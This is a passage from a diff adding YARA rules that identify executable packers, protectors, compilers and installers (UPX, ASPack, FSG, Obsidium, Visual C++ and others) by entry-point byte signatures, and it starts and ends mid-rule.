+		description = "RCryptor v1.?? -> Vaska"
+	strings:
+		$0 = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _Prepared_by_SLR_OPTLINK_
+{
+	meta:
+		description = "Prepared by SLR (OPTLINK)"
+	strings:
+		$0 = {87 C0 55 56 57 52 51 53 50 9C FC 8C DA 83 ?? ?? 16 07 0E 1F}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_10_beta__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector 1.0 beta -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt_15__BitShape_Software_
+{
+	meta:
+		description = "PE Crypt 1.5 -> BitShape Software"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 55 20 40 00 B9 7B 09 00 00 8D BD 9D 20 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_MinGW_GCC_2x__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [MinGW GCC 2.x] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45}
+		$1 = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Private_EXE_v20a_
+{
+	meta:
+		description = "Private EXE v2.0a"
+	strings:
+		$0 = {53 E8 00 00 00 00 5B 8B C3 2D}
+		$1 = {53 E8 ?? ?? ?? ?? 5B 8B C3 2D}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _BeRoEXEPacker_v100__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 -> BeRo / Farbrausch"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2}
+		$1 = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+		$2 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+		$3 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _ACProtect_14x__RISCO_soft_
+{
+	meta:
+		description = "ACProtect 1.4x -> RISCO soft"
+	strings:
+		$0 = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70}
+		$1 = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70}
+	condition:
+		$0 or $1
+}
+rule _ASProtect_v12__Alexey_Solodovnikov_h1_
+{
+	meta:
+		description = "ASProtect v1.2 -> Alexey Solodovnikov (h1)"
+	strings:
+		$0 = {90 60 E8 1B 00 00 00 E9 FC 8D B5 0F 06 00 00 8B FE B9 97 00 00 00 AD 35 78 56 34 12 AB 49 75 F6 EB 04 5D 45 55 C3 E9 ?? ?? ?? 00}
+	condition:
+		$0
+}
+rule _ASPack_v100b_
+{
+	meta:
+		description = "ASPack v1.00b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 92 1A 44 ?? B8 8C 1A 44 ?? 03 C5 2B 85 CD 1D 44 ?? 89 85 D9 1D 44 ?? 80 BD C4 1D 44}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED 92 1A 44 ?? B8 8C 1A 44 ?? 03 C5 2B 85 CD 1D 44 ?? 89 85 D9 1D 44 ?? 80 BD C4 1D 44}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_Modified_Stub_c__Farbrausch_Consumer_Consulting_
+{
+	meta:
+		description = "UPX Modified Stub c -> Farb-rausch Consumer Consulting"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48}
+	condition:
+		$0 at entrypoint
+}
+rule _VcAsm_Protector_V10X_VcAsm_
+{
+	meta:
+		description = "VcAsm Protector V1.0X-> VcAsm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_19901992_
+{
+	meta:
+		description = "Microsoft C (1990/1992)"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB BF ?? ?? 8B 36 ?? ?? 2B F7 81 FE ?? ?? 72 ?? BE ?? ?? FA 8E D7}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v1451__CGSoftLabs_h_
+{
+	meta:
+		description = "eXPressor v1.4.5.1 -> CGSoftLabs (h)"
+	strings:
+		$0 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14}
+		$1 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_ASPack_2xx_Heuristic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ASPack 2.xx Heuristic] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+		$1 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_LCC_Win32_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [LCC Win32 DLL] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1}
+		$1 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WebCops_EXE__LINK_Data_Security_
+{
+	meta:
+		description = "WebCops [EXE] -> LINK Data Security"
+	strings:
+		$0 = {EB 03 05 EB 02 EB FC 55 EB 03 EB 04 05 EB FB EB 53 E8 04 00 00 00 72}
+	condition:
+		$0 at entrypoint
+}
+rule _REC_C0ded_by_ROSE_
+{
+	meta:
+		description = "REC, C0ded by ROSE"
+	strings:
+		$0 = {06 1E 0E 0E 07 1F B4 30 CD 21 86 E0 3D 00 03 73 ?? CD 20 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_14__c199899_Ian_Luck_h_
+{
+	meta:
+		description = "Petite 1.4 -> (c)1998-99 Ian Luck (h)"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v109a_
+{
+	meta:
+		description = "Inno Setup Module v1.09a"
+	strings:
+		$0 = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 C4 89 45 C0 E8 A7 7F FF FF E8 FA 92 FF FF E8 F1 B3 FF FF 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _TurboBAT_v310__50_Patched_
+{
+	meta:
+		description = "TurboBAT v3.10 .. 5.0 (Patched)"
+	strings:
+		$0 = {90 90 90 90 90 90 90 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 ?? 3A C4 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Basic_Compiler_v560_198297_
+{
+	meta:
+		description = "Microsoft Basic Compiler v5.60 1982-97"
+	strings:
+		$0 = {9A ?? ?? ?? ?? 9A ?? ?? ?? ?? 9A ?? ?? ?? ?? 33 DB BA ?? ?? 9A ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 33 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _PEStubOEP_v1x_
+{
+	meta:
+		description = "PEStubOEP v1.x"
+	strings:
+		$0 = {40 48 BE 00 ?? ?? 00 40 48 60 33 C0 B8 ?? ?? ?? 00 FF E0 C3 C3}
+	condition:
+		$0
+}
+rule _eXPressor_V13__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.3 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeSafeguard_v10__simonzh_h_
+{
+	meta:
+		description = "ExeSafeguard v1.0 -> simonzh (h)"
+	strings:
+		$0 = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE}
+		$1 = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE}
+	condition:
+		$0 or $1
+}
+rule _Microsoft_Visual_Cpp_v4x_
+{
+	meta:
+		description = "Microsoft Visual C++ v4.x"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57}
+	condition:
+		$0 at entrypoint
+}
+rule _Mew_11_SE_v12_Eng__Northfox_
+{
+	meta:
+		description = "Mew 11 SE v1.2 (Eng) -> Northfox"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v072_
+{
+	meta:
+		description = "UPX v0.72"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 83 ?? ?? 31 DB 5E 8D ?? ?? ?? ?? ?? 57 66 ?? ?? ?? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _FileShield_
+{
+	meta:
+		description = "FileShield"
+	strings:
+		$0 = {50 1E EB ?? 90 00 00 8B D8}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Protector_v10x_2_
+{
+	meta:
+		description = "UPX Protector v1.0x (2)"
+	strings:
+		$0 = {EB ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB}
+	condition:
+		$0
+}
+rule _RLPack__Ap0x_
+{
+	meta:
+		description = "RLPack -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 3A 0A}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 CD 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 14 0A}
+		$2 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 ?? ?? ?? ?? EB 03 ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 9B 0A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _aPack_v098b__Jibz_
+{
+	meta:
+		description = "aPack v0.98b -> Jibz"
+	strings:
+		$0 = {93 07 1F 05 ?? ?? 8E D0 BC ?? ?? EA}
+	condition:
+		$0
+}
+rule _Noodlecrypt2__rsc_
+{
+	meta:
+		description = "Noodlecrypt2 -> r!sc"
+	strings:
+		$0 = {EB 01 9A E8 76 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SLVc0deProtector_v11__SLV_h_
+{
+	meta:
+		description = "SLVc0deProtector v1.1 -> SLV (h)"
+	strings:
+		$0 = {E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroJoiner_16__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.6 -> coban2k"
+	strings:
+		$0 = {33 C0 64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B}
+	condition:
+		$0 at entrypoint
+}
+rule _PCIENC_Cryptor_
+{
+	meta:
+		description = "PCIENC Cryptor"
+	strings:
+		$0 = {06 50 43 49 45 4E}
+	condition:
+		$0
+}
+rule _TurboBAT_v310__50_
+{
+	meta:
+		description = "TurboBAT v3.10 .. 5.0"
+	strings:
+		$0 = {BA ?? ?? B4 09 ?? ?? 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 0F 3A C4 ?? ?? 26 ?? ?? ?? 24 0F 3A C4}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "Microsoft Visual C++"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00}
+		$1 = {8B 44 24 08 83 ?? ?? 74}
+		$2 = {8B 44 24 08 56 83 E8 ?? 74 ?? 48 75}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _EXECryptor_V21X__SoftCompletecom_
+{
+	meta:
+		description = "EXECryptor V2.1X -> SoftComplete.com"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? ?? ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2xx_
+{
+	meta:
+		description = "ASPack v2.xx"
+	strings:
+		$0 = {A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+		$1 = {A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+		$2 = {A8 03 ?? ?? 61 75 08 B8 01 ?? ?? ?? C2 0C ?? 68 ?? ?? ?? ?? C3 8B 85 26 04 ?? ?? 8D 8D 3B 04 ?? ?? 51 50 FF 95}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Metrowerks_CodeWarrior_DLL_v20_
+{
+	meta:
+		description = "Metrowerks CodeWarrior (DLL) v2.0"
+	strings:
+		$0 = {55 89 E5 53 56 57 8B 75 0C 8B 5D 10 83 FE 01 74 05 83 FE 02 75 12 53 56 FF 75 08 E8 6E FF FF FF 09 C0 75 04 31 C0 EB 21 53 56 FF 75 08 E8 ?? ?? ?? ?? 89 C7 09 F6 74 05 83 FE 03 75 0A 53 56 FF 75 08 E8 47 FF FF FF 89 F8 8D 65 F4 5F 5E 5B 5D C2 0C 00 C9}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_VideoLanClient__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Video-Lan-Client] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01}
+		$1 = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Spanz_
+{
+	meta:
+		description = "Vx: Spanz"
+	strings:
+		$0 = {E8 00 00 5E 81 EE ?? ?? 8D 94 ?? ?? B4 1A CD 21 C7 84}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v024__v028alpha__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.24 ~ v0.28alpha -> Sign by hot_UNP"
+	strings:
+		$0 = {BE 88 01 40 00 AD ?? ?? 95 AD 91 F3 A5 AD}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v137_
+{
+	meta:
+		description = "EXE32Pack v1.37"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED 4C 8E 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v035_alpha__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.35 alpha -> Sign by hot_UNP"
+	strings:
+		$0 = {8B F2 8B CA 03 4C 19 1C 03 54 1A 20}
+	condition:
+		$0
+}
+rule _Zurenava_DOS_Extender_v045_v049_
+{
+	meta:
+		description = "Zurenava DOS Extender v0.45, v0.49"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? B9 ?? ?? 56 FC F3 A5 5F E9}
+	condition:
+		$0 at entrypoint
+}
+rule _SmokesCrypt_v12_
+{
+	meta:
+		description = "SmokesCrypt v1.2"
+	strings:
+		$0 = {60 B8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8A 14 08 80 F2 ?? 88 14 08 41 83 F9 ?? 75 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_01x_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.1x beta -> Dwing"
+	strings:
+		$0 = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211b_
+{
+	meta:
+		description = "ASPack v2.11b"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 3D 04 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v1304__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium v1.3.0.4 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01 ?? 8B 00 EB 01 ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 01 ?? E8 3B 26 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _InstallShield_2000_
+{
+	meta:
+		description = "InstallShield 2000"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 C4 ?? 53 56 57}
+	condition:
+		$0 at entrypoint
+}
+rule _UltraPro_V10__SafeNet_
+{
+	meta:
+		description = "UltraPro V1.0 -> SafeNet"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? 85 C0 0F 85 3B 06 00 00 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _CipherWall_SelfExtratorDecryptor_GUI_v15_
+{
+	meta:
+		description = "CipherWall Self-Extrator/Decryptor (GUI) v1.5"
+	strings:
+		$0 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+		$1 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v110_Eng__bartxt_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> bart/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyEnE_001p_by_Lennart_Hedlund_
+{
+	meta:
+		description = "PolyEnE 0.01+ by Lennart Hedlund"
+	strings:
+		$0 = {60 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 60 00 00 E0}
+	condition:
+		$0
+}
+rule _ACProtect_v190g__Risco_software_Inc_
+{
+	meta:
+		description = "ACProtect v1.90g -> Risco software Inc."
+	strings:
+		$0 = {60 0F 87 02 00 00 00 1B F8 E8 01 00 00 00 73 83 04 24 06 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v274_
+{
+	meta:
+		description = "EXE Stealth v2.74"
+	strings:
+		$0 = {EB 00 EB 17 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 60 90 E8 00 00 00 00 5D 81 ED C4 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9}
+		$1 = {EB 00 EB 17 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 60 90 E8 00 00 00 00 5D 81 ED C4 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9}
+	condition:
+		$0 or $1
+}
+rule _tElock_v095_
+{
+	meta:
+		description = "tElock v0.95"
+	strings:
+		$0 = {E9 D5 E4 FF FF 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_v31__North_Star_h_
+{
+	meta:
+		description = "NsPack v3.1 -> North Star (h)"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_131__dulekxt_
+{
+	meta:
+		description = "FSG 1.31 -> dulek/xt"
+	strings:
+		$0 = {BE ?? ?? ?? 00 BF ?? ?? ?? 00 BB ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80}
+	condition:
+		$0 at entrypoint
+}
+rule _RJcrush_v100_
+{
+	meta:
+		description = "RJcrush v1.00"
+	strings:
+		$0 = {06 FC 8C C8 BA ?? ?? 03 D0 52 BA ?? ?? 52 BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v20__bartxt_
+{
+	meta:
+		description = "FSG v2.0 -> bart/xt"
+	strings:
+		$0 = {87 25 ?? ?? ?? 00 61 94 55 A4 B6 80 FF 13}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_V14X__risco_
+{
+	meta:
+		description = "ACProtect V1.4X -> risco"
+	strings:
+		$0 = {60 E8 01 00 00 00 7C 83 04 24 06 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Armadillo_300__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Armadillo 3.00] --> Anorganix"
+	strings:
